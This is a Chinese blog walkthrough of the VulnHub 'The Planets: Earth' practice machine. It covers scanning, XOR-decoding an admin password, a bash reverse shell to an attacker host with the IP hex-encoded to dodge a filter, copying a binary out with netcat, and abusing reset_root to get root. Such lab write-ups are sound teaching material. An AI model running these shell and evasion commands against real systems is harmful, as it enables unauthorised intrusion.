当前位置: 首页 > news >正文

vulnhub-THE PLANETS-EARTH靶机

下载并导入靶机至VMWare,设置网络模式为NAT,开机

image-20240726152826365

开启攻击机(kali),也设置为Nat模式,与靶机处于同一网段

扫描靶机ip

Nmap 192.168.114.0/24 扫描网段内活跃的主机

image-20240726152841541

可以推断靶机ip为192.168.114.129

扫描靶机端口

nmap -A 192.168.114.129

image-20240726152853409

在端口扫描结果发现了开启了22(ssh)、80(http)、443(https)端口和两条DNS记录

直接访问地址无法访问,猜测是禁止IP直连

image-20240726152905574

将DNS记录加入到/etc/hosts文件

image-20240726152914763

现在可以通过域名成功访问

image-20240726152924957

使用目录扫描工具扫描目录

http://earth.local/

https://terratest.earth.local/

image-20240726152935062

访问

image-20240726152944093

image-20240726152947214

需要找到密码,访问robots文件

image-20240726152953649

最后一个文件比较可疑,猜测txt格式,尝试访问

image-20240726153000568

给了一些提示和指向testdata.txt文件

image-20240726153006565

打开发现给了一串文字,结合提示要与earth.local主页的文字做异或运算

image-20240726153014243

import binascii
​
c="2402111b1a0705070a41000a431a000a0e0a0f04104601164d050f070c0f15540d1018000000000c0c06410f0901420e105c0d074d04181a01041c170d4f4c2c0c13000d430e0e1c0a0006410b420d074d55404645031b18040a03074d181104111b410f000a4c41335d1c1d040f4e070d04521201111f1d4d031d090f010e00471c07001647481a0b412b1217151a531b4304001e151b171a4441020e030741054418100c130b1745081c541c0b0949020211040d1b410f090142030153091b4d150153040714110b174c2c0c13000d441b410f13080d12145c0d0708410f1d014101011a050d0a084d540906090507090242150b141c1d08411e010a0d1b120d110d1d040e1a450c0e410f090407130b5601164d00001749411e151c061e454d0011170c0a080d470a1006055a010600124053360e1f1148040906010e130c00090d4e02130b05015a0b104d0800170c0213000d104c1d050000450f01070b47080318445c090308410f010c12171a48021f49080006091a48001d47514c50445601190108011d451817151a104c080a0e5a"
​
m="According to radiometric dating estimation and other evidence, Earth formed over 4.5 billion years ago. Within the first billion years of Earth's history, life appeared in the oceans and began to affect Earth's atmosphere and surface, leading to the proliferation of anaerobic and, later, aerobic organisms. Some geological evidence indicates that life may have arisen as early as 4.1 billion years ago."
​
m_hex = binascii.b2a_hex(m.encode("utf-8"))
result = hex(int(c, 16) ^ int(m_hex, 16))
print(result)

得到

0x6561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174

0x开头标明是16进制数,转换为文本得到

earthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimat

重复earthclimatechangebad4humans,猜测是密码,之前提示给到管理员用户terra

image-20240726153121798

登陆成功

image-20240726153130946

执行命令,得到用户名和目录结构

image-20240726153136932

image-20240726153140485

在vulnhub有写到有两个flag,分别在root和user权限

在根目录搜索flag字段文件,找到

image-20240726153147572

打开找到第一个flag(user)

image-20240726153156269

现在想要获取root的flag,需要提权

bash -i >& /dev/tcp/0xc0.0xa8.0x72.0x83/4444 0>&1

因为直接使用ip地址会被阻止开启远程链接,所以转成16进制数

nc -lvnp 4444

image-20240726153211681

远程连接成功

image-20240726153221953

可以看到resetroot有可能能获取到root信息

image-20240726153228645

发现执行失败,尝试将文件下载下来看看内容

接收端:nc -l -p 6789 > reset_root

发送端:nc 0xc0.0xa8.0x72.0x83 6789 < /usr/bin/reset_root

用strace指令查看文件触发条件

chmod +x reset_root

strace ./reset_root

image-20240726153241857

分析结果提示缺了三个文件,创建

重新运行reset_root

image-20240726153251757

可以看到这次运行后重置了root的密码为Earth

切换到root用户

image-20240726153300226

进入root文件夹,看到有flag文件,查看获得第二个flag

http://www.lryc.cn/news/455369.html

相关文章:

  • 【C语言】分支和循环(2)
  • Python数据分析-远程办公与心理健康分析
  • LabVIEW提高开发效率技巧----使用动态事件
  • 【STM32开发之寄存器版】(五)-窗口看门狗WWDG
  • Leetcode203.移除链表元素-Python
  • 属性拷贝MapStruct
  • Chromium 添加书签功能浅析c++
  • Spring Cloud Netflix Ribbon 负载均衡详解和案例示范
  • Armeria gPRC 高级特性 - 装饰器、无框架请求、阻塞处理器、Nacos集成、负载均衡、rpc异常处理、文档服务......
  • 如何制作一个企业网站,建设网站的基本步骤有哪些?
  • 01-python+selenium自动化测试-基础学习
  • 【redis-05】redis保证和mysql数据一致性
  • 写一个登录判断机制py
  • 特征点检测与匹配是计算机视觉中的基础任务之一,广泛应用于图像配准、物体识别、运动估计、三维重建等领域。
  • python——Echarts现交互式动态可视化
  • 【含开题报告+文档+PPT+源码】基于SSM框架的民宿酒店预定系统的设计与实现
  • 正确理解协程
  • 蒙特卡罗方法 - 采样和蒙特卡罗方法篇
  • 论文阅读:InternVL v1.5| How Far Are We to GPT-4V? 通过开源模型缩小与商业多模式模型的差距
  • 什么是电能表PTB认证
  • C# 单例模式继承
  • ESP8266模块(WIFI STM32)
  • 微信小程序学习实录9:掌握wx.chooseMedia实现多图片文件上传功能(选择图片、预览图片、上传图片)
  • 助动词的分类及其缩略形式
  • Redis——分布式锁
  • C++面试速通宝典——13
  • 数据结构(二叉树)
  • Windows 通过 Docker 安装 GitLab
  • SQL专项练习第六天
  • CSS——属性值计算